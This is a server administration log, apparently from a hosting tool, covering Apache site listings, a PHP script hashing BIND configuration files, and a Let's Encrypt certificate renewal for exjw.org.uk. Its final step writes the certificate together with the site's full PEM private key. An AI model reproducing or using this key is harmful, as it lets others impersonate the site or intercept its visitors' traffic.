link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp552679:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-03-02 14:49:44: Establishing a connection
2026-03-02 14:49:51: Establishing a connection
2026-03-02 14:49:51: 

PUT: /tmp/pkp830622

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 14:49:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp830622; rm /tmp/pkp830622'

2026-03-02 14:49:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-02 14:50:00: Establishing a connection
2026-03-02 14:50:00: Establishing a connection
2026-03-02 14:50:01: 

PUT: /tmp/pkp490046

#!/bin/bash
if [ -d "/var/www/exjw_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-02 14:50:01: 

chmod 755 /tmp/pkp490046; /tmp/pkp490046; rm /tmp/pkp490046

2026-03-02 14:50:01: 


1


2026-03-02 14:50:02: Establishing a connection
2026-03-02 14:50:02: 

PUT: /tmp/pkp578549

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
cat > _6-nBJMGLJbgigzdVMxWeqBJ4H710R1ZukpkmDKBbWE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
_6-nBJMGLJbgigzdVMxWeqBJ4H710R1ZukpkmDKBbWE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 _6-nBJMGLJbgigzdVMxWeqBJ4H710R1ZukpkmDKBbWE


2026-03-02 14:50:02: 

chmod 755 /tmp/pkp578549; /tmp/pkp578549; rm /tmp/pkp578549

2026-03-02 14:50:02: 




2026-03-02 14:50:08: Establishing a connection
2026-03-02 14:50:09: 

PUT: /tmp/pkp478007

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
rm _6-nBJMGLJbgigzdVMxWeqBJ4H710R1ZukpkmDKBbWE


2026-03-02 14:50:09: 

chmod 755 /tmp/pkp478007; /tmp/pkp478007; rm /tmp/pkp478007

2026-03-02 14:50:09: 




2026-03-02 14:50:09: Establishing a connection
2026-03-02 14:50:09: 

PUT: /tmp/pkp660049

#!/bin/bash
temp_file=$(mktemp)
TARGET=7661c45fa1dc2bd7dace8763d6046428.crt

cat > $temp_file <<'endmsg'
c0:b8:32:fc:d9:50:5b:ce:44:51:49:18:2f:cb:4e:39

-----BEGIN CERTIFICATE-----
MIIE6jCCA9KgAwIBAgISBfATaU3Q7iSkbhU6S4x9ENd/MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzAyMTM1MTM3WhcNMjYwNTMxMTM1MTM2WjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANZ4
I3tYllmdTxjRaB9SK9OTUKm5ydomztYM9ON4nzh1ChH3Ch1WOlFBUVH9EWjCMDb9
uQhhdSWa7Ay22JFGwqQ7bvU+mNAjG64IKG7hEC0v6v+8bAEupoha48t9+IEyygZa
kDLW5KGxJ7iG3MfxFiVaosU2tSHFFgDNma3BIYWo8b6c77slepxzm9GOI1WKmwZ6
4AWSq6F+ZAMs5CA2QqnwT6rar0slrzWhjF2e+UNnVGhWtoewKFkRjntH0+aZeWMZ
xhKM1qhyoLsWZPyaGlEuQGyYcD7DHIoizyefcQg8ozrw4ldWibaOzT6F7QZFI0tF
TD7EQOkgZPKZ/A1EQk0CAwEAAaOCAhMwggIPMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQ0r+O5CNll
hyqmYRsLtUZ0Q87MRjAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5v
cmcvMBYGA1UdEQQPMA2CC2V4ancub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI4LmNy
bDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AMs49xWJfIShRF9bwd37yW7ymlnN
RwppBYWwyxTDFFjnAAABnK8HKnkAAAQDAEgwRgIhAOVtKoFGKfle9vq8H0GL7B4P
0XQ3lpIllmZK3GNWgtScAiEAw6W2kNmPsgctawVIPIDRwBwNJ7PWQ7sRfTBHEfso
GDsAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZyvByqvAAAE
AwBHMEUCIQD2en6uqYrTdlBKARlsuajMKxTsAHrvOYMyMtbjaBDqVwIgUvZ2AZyP
lcWNl2GF+wNyoQPOVvnTGk8/xku52zRDxQcwDQYJKoZIhvcNAQELBQADggEBAGmN
YSS4WcBneQtyrOsEus5CabmvkZ7yfXXhCESlcBUUbwISFyhYYxasV6TvMo4syP/H
pbo0Vx5jknTTMrj7LM8ldX75P85GoTautpzXOoEsvfSGz/q99aGFUQm9cav6tTEo
mFj0Enq+8XSx4aUKh18vSOk6hgU/ktWrpSmMofYEreOp1Y0Xx34FYytjCaTZ0Brl
WjFeW2D5uYWfD1FcsiiZHRRl6xcnFJdAMxRwRYtPSzScaWDzmYIBmfIvD+NaufS4
w4w5REAYC7YGGBynEeqZ3HJ0KQMf1/4TFEebeAofwx5ubQL01mk2A63ZhQ6+LVuD
iVLkNkoPZ9aIPGQ2YS0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWeCN7WJZZnU8Y
0WgfUivTk1CpucnaJs7WDPTjeJ84dQoR9wodVjpRQVFR/RFowjA2/bkIYXUlmuwM
ttiRRsKkO271PpjQIxuuCChu4RAtL+r/vGwBLqaIWuPLffiBMsoGWpAy1uShsSe4
htzH8RYlWqLFNrUhxRYAzZmtwSGFqPG+nO+7JXqcc5vRjiNVipsGeuAFkquhfmQD
LOQgNkKp8E+q2q9LJa81oYxdnvlDZ1RoVraHsChZEY57R9PmmXljGcYSjNaocqC7
FmT8mhpRLkBsmHA+wxyKIs8nn3EIPKM68OJXVom2js0+he0GRSNLRUw+xEDpIGTy
mfwNREJNAgMBAAECggEAHuQ5miHpsBlCRB0fjglgMi6xKu1Nl4xI9RhzKpOcfX2Q
OIO4k36w0jTiEXjt6cS0vKsBnKUrAkJlFzS8D3rdfNnpss30JWC1MzVOG6Bz28pf
4zug4++0AYZz8sLfiT6HTnB7fjMpRef2RHQ6d1swuSsrsFPftbBFadKzfM1Jdo6a
WRE1+VXDOXaDzqi8B4/4GCFSQgdYp9uWDN+Bo2zcGns6vH49/yurpZ347NKxY1xx
nlSYtWNsfkpmMkk32zByKaWOtUkkWWztwkEtg856gIL3fnz/Kdh5v2OkFaWArBaW
gQQrp7ha11c9cSEJWtUZvedumxuTZHfuzjQzk5WbGQKBgQDq51p8/imVKIbOeUSb
U34LhuknWs82k6Yq9Hx/g+KtQkmQab1sqEbmQEgC/3rBilk7gTKO5wT1b9Z2hUtT
afgJi8EgZmcU51nzHZ32xQG2iXl6Pt8wWTvPoE2C0xMmtJ7s6xdfmjWq7nygwiF7
pm5orG99AjSxyzSUMLj9xs0yaQKBgQDpuvqwcnQbqIezWl/Reth0BhHq6OQhjggC
exOpwpXO7erFJZM+TKq1C4Q/mhJy4d4TgyO4RqK6LvNq35FV/I0dbEXno0UcJeez
0E6xfLdG8hnxWNm20bwBIA+2x48Rdi3uMEOxISF6kDrixbJSxhK9+64uW01r9JbW
FuCnSDrMRQKBgGxswT20aykn/aFMJDi1vxY+/Vtm9QIyAJ8PHnAVRgnG8QGxbPe8
bI1W2mZX2id/XlSy+80uIQHQz2MBf5VO8mglk80Kt0XUy5YF86W1pWbF6cZdQtOk
PJFHYr+iAdL5x+l/UdiU63Ssg+YH9UCHv6qc/RDsdbojG2/TVW/91TURAoGAWszc
3vdXy/bo4PBXERZcSJajF1NqbO60heIyfVyuvjkHX5d9YFKAbt0Of3bne+HrWEE1
+zzVsubSgc5gs7rtR2Tss1RmYM0I+n4OVD1TJiifk3ck/TT1iKpf8G4OUoZKyaHO
al2ol+i4N6j94dI5Lb08qZ2msi3O+1Tf6ZzR2tECgYEAsjSNfpY4cVqpu/bTFVuK
Qu1f4nDwLMH30KFBUU1QRiF0L5KJ/voj/LZauBc8FWsHup8CWO6U6lKbZyne28lN
aStbvBFnL8gOkvgG54yvbq0owJ1hKctfDudxIE2oIx6ZpQWBRiKRkDgoWIsP7I3F
E0ml0jI9DRToBPbYQ0+BBXA=
-----END PRIVATE KEY-----

